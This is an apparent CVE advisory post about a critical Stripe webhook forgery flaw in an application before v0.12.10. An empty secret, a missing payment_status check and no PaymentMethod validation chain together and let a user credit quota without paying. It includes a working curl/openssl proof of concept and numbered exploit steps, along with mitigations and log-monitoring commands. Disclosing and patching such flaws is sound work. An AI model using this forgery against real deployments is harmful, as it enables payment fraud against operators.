Stripe Webhook Handler, Authentication Bypass & Authorization Flaw, No CVE (Critical)

Listen to this Post

The vulnerability allows an unauthenticated attacker to forge Stripe webhook events and credit unlimited quota without payment due to three compounding flaws. First, the StripeWebhookSecret defaults to an empty string. The Stripe Go SDK (webhook.ConstructEventWithOptions) computes HMAC-SHA256 with an empty key when the secret is empty, producing a deterministic signature that any attacker can recompute. Since the webhook endpoint /api/stripe/webhook has no authentication or rate limiting, an attacker can send forged payloads with a valid signature derived from an empty secret. Second, the sessionCompleted handler only checks status == “complete” but never validates payment_status == “paid”. Stripe can fire checkout.session.completed with payment_status = “unpaid” (delayed bank transfers) or “no_payment_required” (100% discount), yet the system still credits quota. Third, the Recharge() function looks up orders solely by trade_no without verifying PaymentMethod. An attacker can create an order via any enabled gateway (Epay, Creem, Waffo) and then fulfill that same order through a forged Stripe webhook because the code does not reject cross-gateway completion. The webhook route is registered unconditionally in api-router.go. No guard exists against replay attacks. Validating PaymentMethod in all recharge functions (Recharge, RechargeCreem, RechargeWaffo) is missing. The Creem order creation omits the PaymentMethod field entirely. All three flaws chain: empty secret bypasses signature → missing payment_status check accepts fake “paid” → no PaymentMethod validation allows any order to be completed via Stripe webhook. Attackers need only a registered user account and any payment method configured. They create a pending order, retrieve trade_no, forge a Stripe webhook with that trade_no as client_reference_id, compute HMAC with empty key, and send the request. The server credits quota without charging.

dailycve form:

Platform: Web Application (Stripe)
Version: before v0.12.10
Vulnerability: Webhook forgery + cross-gateway
Severity: Critical
date: 2025-04-15

Prediction: Immediate upgrade (v0.12.10)

What Undercode Say:

Check if webhook secret is empty (vulnerable)
curl -X GET https://target/api/admin/settings | grep -i "stripe_webhook_secret"
Simulate empty-secret HMAC forgery for PoC
timestamp=$(date +%s)
payload='{"type":"checkout.session.completed","data":{"object":{"client_reference_id":"ORDER123","status":"complete","payment_status":"paid"}}}'
sig=$(echo -n "$timestamp.$payload" | openssl dgst -sha256 -mac HMAC -macopt key: | cut -d' ' -f2)
curl -X POST https://target/api/stripe/webhook -H "Stripe-Signature: t=$timestamp,v1=$sig" -H "Content-Type: application/json" -d "$payload"
Monitor fraudulent top-ups (look for mismatched PaymentMethod)
grep -E "Recharge.trade_no" /var/log/app.log | grep -v "PaymentMethod.stripe"
Block webhook endpoint via nginx if Stripe unused
echo 'location = /api/stripe/webhook { return 403; }' >> /etc/nginx/conf.d/block.conf && nginx -s reload

Exploit:

  • Register user account (POST /api/user/register)
  • Create order via any enabled gateway (e.g., Epay POST /api/user/pay amount=10000)
  • Fetch trade_no from GET /api/user/topup/self
  • Forge checkout.session.completed JSON setting client_reference_id = trade_no
  • Compute HMAC-SHA256 with empty key: HMAC(“”, “$timestamp.$payload”)
  • Send POST to /api/stripe/webhook with Stripe-Signature header
  • Server credits quota; repeat indefinitely

Protection from this CVE:

  • Upgrade to patched version v0.12.10 immediately
  • If cannot upgrade: set StripeWebhookSecret to any non-empty string (admin panel → Payment → Stripe)
  • Block /api/stripe/webhook via reverse proxy when Stripe not used
  • Add middleware to validate PaymentMethod in all recharge functions
  • Monitor logs for orders completed via webhook with mismatched payment_method
  • Handle async payment events (async_payment_succeeded, async_payment_failed)

Impact:

  • Unauthenticated attacker grants unlimited free quota leading to financial fraud
  • Operator pays upstream AI providers (OpenAI, Anthropic, etc.) for fraudulent usage
  • Silent exploitation: logs show normal successful top-ups without payment
  • Any deployment with default empty secret + at least one payment method is fully compromised

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top